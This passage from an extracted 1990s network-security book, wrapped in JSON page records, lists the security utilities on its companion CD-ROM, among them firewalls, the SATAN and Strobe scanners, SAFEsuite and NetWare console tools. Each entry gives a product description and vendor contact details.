\nnever run, always run, or are allowed to run. It is easy to configure and requires little or \nno modifications to your current system configuration. Optional user-specified sounds for \nthe startup and access-denied events are also available. Online help is provided. \n(Windows 3.x and Windows 95.) \nPosum L.L.C. \nP.O. Box 21015 \n" }, { "page_number": 666, "text": " \n \nHuntsville, AL, 35824 \nFax: 205-895-8361 \nE-mail: 103672.2634@compuserve.com \nURL: http://posum.com/ \nUNIX Software \nThe following utilities for UNIX are on the CD-ROM. This listing provides contact \ninformation for each company and a description of its product. \nPortus Secure Network Firewall \nPortus is an NCSA-certified high-performance application-proxy gateway. It supports all \nTCP/IP connections and has a UDP proxy add-on. It offers high levels of security without \nbecoming network chokepoint. Products include Portus Secure Network Firewall for \nAIX, Portus Secure Network Firewall for Solaris, Portus Secure Network Firewall \nInstallation and Administration Guide (Acrobat file), and Portus Secure Network Firewall \nGeneral Information Manual--Firewall Tutorial (Acrobat file). These are 30-day fully \nfunctional demos. \nFreemont Avenue Software, Inc. \n2825 Wilcrest, Suite 160 \nHouston, TX, 77042 \nVoice: 713-974-3274 \nFax: 713-978-6246 \nE-mail: portus@lsli.com \nDatalynx, Inc. \nVoice: 619-560-8112 \nFax: 619-560-8114 \nE-mail: sales@dlxguard.com \nURL: http://www.dlxguard.com \nSATAN (Security Administrator's Tool for Analyzing Networks) \nSATAN recognizes several common networking-related security problems and reports \nthem without actually exploiting them. For each type of problem found, SATAN offers a \ntutorial that explains the problem and what its impact could be. The tutorial also explains \nwhat can be done about the problem. SATAN collects information that is available to \neveryone with access to the network. With a properly configured firewall in place, that \nshould be near-zero information for outsiders. SATAN will inevitably find problems. \nHere's the current problem list: \n• \nNFS file systems exported to arbitrary hosts \n• \nNFS file systems exported to unprivileged programs \n" }, { "page_number": 667, "text": " \n \n• \nNFS file systems exported via the portmapper \n• \nNIS password file access from arbitrary hosts \n• \nOld (before 8.6.10) sendmail versions \n• \nREXD access from arbitrary hosts \n• \nX server access control disabled \n• \nArbitrary files accessible via TFTP \n• \nRemote shell access from arbitrary hosts \n• \nWritable anonymous FTP home directory \nSystem requirements: UNIX, at least 16MB of RAM, and 50mHz. Authors: Dan Farmer \nand Weitse Venema \nLocation: http://www.trouble.org/~zen/satan/satan.html \nStrobe \nStrobe is a network/security tool that locates and describes all listening TCP ports on a \n(remote) host or on many hosts in a manner that maximizes bandwidth utilization and \nminimizes process resources manner. Strobe approximates a parallel finite state machine \ninternally. In nonlinear multihost mode, it attempts to apportion bandwidth and sockets \namong the hosts very efficiently. This can reap appreciable gains in speed for multiple \ndistinct hosts/routes. On a machine with a reasonable number of sockets, strobe is fast \nenough to port scan entire Internet subdomains. It is even possible to survey an entire \nsmall country in a reasonable time from a fast machine on the network backbone, \nprovided the machine in question uses dynamic socket allocation or has had its static \nsocket allocation increased very appreciably (check your kernel options). Strobe is said to \nbe faster than ISS2.1 (a high quality commercial security scanner by cklaus@iss.net \nand friends) or PingWare (also commercial). Author: Julian Assange \nLocation: http://sunsite.kth.se/Linux/system/Network/admin/ \nSAFEsuite \nSAFEsuite&tm; is a family of network security assessment tools designed to audit, \nmonitor, and correct all aspects of network security. Internet Scanner is the fastest, most \ncomprehensive, proactive UNIX and Windows NT security scanner available. It \nconfigures easily, scans quickly, and produces comprehensive reports. Internet Scanner \nprobes a network environment for selected security vulnerabilities, simulating the \ntechniques of a determined intruder. Depending on the reporting options selected, \nInternet Scanner provides information about each vulnerability found: location, in-depth \ndescription, and suggested corrective actions. \nInternet Security Systems, Inc. (ISS) \n" }, { "page_number": 668, "text": " \n \n41 Perimeter Center East, Suite 660 \nAtlanta, GA, 30071 \nVoice: 770-395-0150 \nFax: 770-395-1972 \nE-mail: info@iss.net \nURL: http://www.iss.net \nNetWare \nThe following NetWare utilities are on the CD-ROM. This listing provides contact \ninformation for each company and a description of its product. \nSecureConsole \nSecureConsole for NetWare is a fileserver console security application that adds a new \nlevel of control and accountability to the NetWare server. It restricts access for individual \nusers or NetWare security groups to specific server commands or applications. \nSecureConsole also records the commands performed by each logon. SecureConsole acts \nlike a screen saver on the console forcing the user to identify himself with a valid \nNetWare login and password. If the user is authorized to access the server, \nSecureConsole unlocks the screen but continues to verify the user's actions against his list \nof authorized functions and application screens. This means that different users or groups \ncan have different levels of access. Installation of SecureConsole is simple! The software \ncan be installed through the NetWare v4 product installation program or by copying the \nprogram to the server manually. No special NetWare queues, setup files, or license files \nare required, and the product is not serialized. This allows for software distribution \nproducts or batch installation to multiple fileservers. \nServer Systems Limited \n7A Villa Marina Arcade \nHarris Promenade \nDouglas, UK \nVoice: 1-800-581-3502 (USA) \nFax: 1-800-581-3502 (USA) \nVoice: +61 6 292-9988 (Australia) \nFax: +61 6 292-9977 (Australia) \nVoice: +44 117 940-2020 (UK) \n" }, { "page_number": 669, "text": " \n \nFax: +44 117 907-7448 (UK) \nE-mail: sales@serversystems.com, 100033,3202 (CompuServe) \nURL: http://www.serversystems.com/ \nspooflog.c and spooflog.h \nAuthor: Greg Miller \nMacintosh Software \nThe following Macintosh utility is on the CD-ROM. This listing provides contact \ninformation for the company. \nMac TCP Watcher \nStairways Software Pty. Ltd. \nPO Box 1123 \nBooragoon, WA, 6154, Australia \nE-mail: support@stairways.com.au \nURL: http://www.stairways.com/ \nInformation \nThe following information is also located on the CD-ROM. \nComputer Facility Security--An Overview \nBret Watson & Associates \nc/- 6 June Rd \nGooseberry Hill, Western Australia, 6076, Australia \nTel: +61 041 4411 149 \nFax: +61 09 454 6042 \nE-mail: consulting@bwa.net \nURL: http://www.bwa.net \nRadLast \nRadLast filters Radius 1 and 2 detail files. \nKinchlea Computer Consulting \n" }, { "page_number": 670, "text": " \n \n3730 Denman Rd \nDenman Island, BC, Canada, V0R 1T0 \nTel: 250-335-0907 \nFax: 250-335-0902 \nE-mail: kcc@kinch.ark.com \nURL: http://kinch.ark.com/kcc \nAbout the Software \nPlease read all documentation associated with a third-party product (usually contained \nwith files named readme.txt or license.txt) and follow all guidelines. \n \n" } ] }